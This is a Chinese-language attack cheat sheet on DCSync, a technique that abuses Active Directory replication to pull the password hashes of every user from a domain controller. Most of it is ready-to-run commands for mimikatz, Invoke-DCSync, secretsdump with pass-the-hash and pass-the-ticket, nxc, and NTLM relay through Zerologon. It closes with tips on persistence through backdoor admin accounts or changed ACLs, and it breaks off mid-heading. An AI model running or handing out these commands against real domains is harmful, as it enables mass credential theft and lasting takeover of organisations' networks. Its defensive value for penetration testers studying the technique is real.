什么是Dcsync(domain Controller synchronization):在内网中一般不是一个域控,会有域树或者域森林等,域控之间是要同步数据的,不同的域控15分钟之间要发起一次数据同步的请求,请求里面就包含同步的数据,这里采用的协议是DRS(目录复制服务),这个就是DCsync
简单来说就是 利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据
要进行DCSync则必须要能够运行DRS服务,通常以下用户组可以运行DRS服务
- 域控的Administrator和system也可以
- 更具体地说,DCSync是需要以下扩展权限:
DS-Replication-Get-Changes
和DS-Replication-Get-Changes-All
,而以上组内的成员默认有这些权限
mimikatz 读取域内用户hash值
lsadump::dcsync /domain:abc.com /all /csv(读取所有)
lsadump::dcsync /domain:abc.com /user:administrator(读取单个用户)
Invoke-DCSync.ps1工具
import-Module .\Invoke-DCSync.ps1
Invoke-DCSync
Invoke-DCSync -DumpForest | ft -wrap -autosize #导出域内所有用户的hash:
QuarksPwDump工具读取
QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit
Ntds这个文件必须先要导出到本地
secretsdump 工具读取
secretsdump.exe 域名/administrator:密码@IP
# using a plaintext password
secretsdump -outputfile 'something' 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'
# with Pass-the-Hash
secretsdump -outputfile 'something' -hashes 'LMhash':'NThash' 'DOMAIN'/'USER'@'DOMAINCONTROLLER'
# with Pass-the-Ticket
secretsdump -k -outputfile 'something' 'DOMAIN'/'USER'@'DOMAINCONTROLLER'
导出后会创建以下文件
File 文件 | Content 内容 |
---|---|
.ntds | LM and NT password hashes LM 和 NT 密码散列 |
.cleartext | Passwords stored using reversible encryption 使用可逆加密存储的密码 |
.kerberos kerberos 配置文件 | Kerberos keys (DES, AES128 and AES256) Kerberos 密钥(DES、AES128 和 AES256) |
.sam | Domain controller's SAM secrets 域控制器的 SAM 密钥 |
.secrets | Domain controller's LSA secrets 域控制器的 LSA 机密 |
nxc 读取
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' --ntds
nxc smb 192.168.1.100 -u UserName -p 'PASSWORDHERE' -M ntdsutil
此攻击也可以通过中继 NTLM 身份验证进行操作,但前提是目标域控制器存在 ../6-Netlogon/Zerologon 漏洞,因为 DRSUAPI 始终需要签名。
# target vulnerable to Zerologon, dump DC's secrets only
ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER'
# target vulnerable to Zerologon, dump Domain's secrets
ntlmrelayx.py -t dcsync://'DOMAINCONTROLLER' -auth-smb 'DOMAIN'/'LOW_PRIV_USER':'PASSWORD'
如果目标域控存在 Zerologon 漏洞,攻击者可以先利用该漏洞重置域控账户密码,然后伪造域控身份,此时 DRSUAPI 的签名要求就能被绕过,NTLM中继Relay重放攻击 也就能实现 DCSync(感觉有点多此一举了)
1、找到有权限的用户,从而远程读取域控用户信息,可以进行3.PTH 黄金白银票据攻击
2、如果控制了域控,可以在域控添加一个管理员账号从而进行权限维持
3、可以添加一个普通的用户,修改ACL从而实现可以使用Dcsync,进行权限维持
先说结论:
方法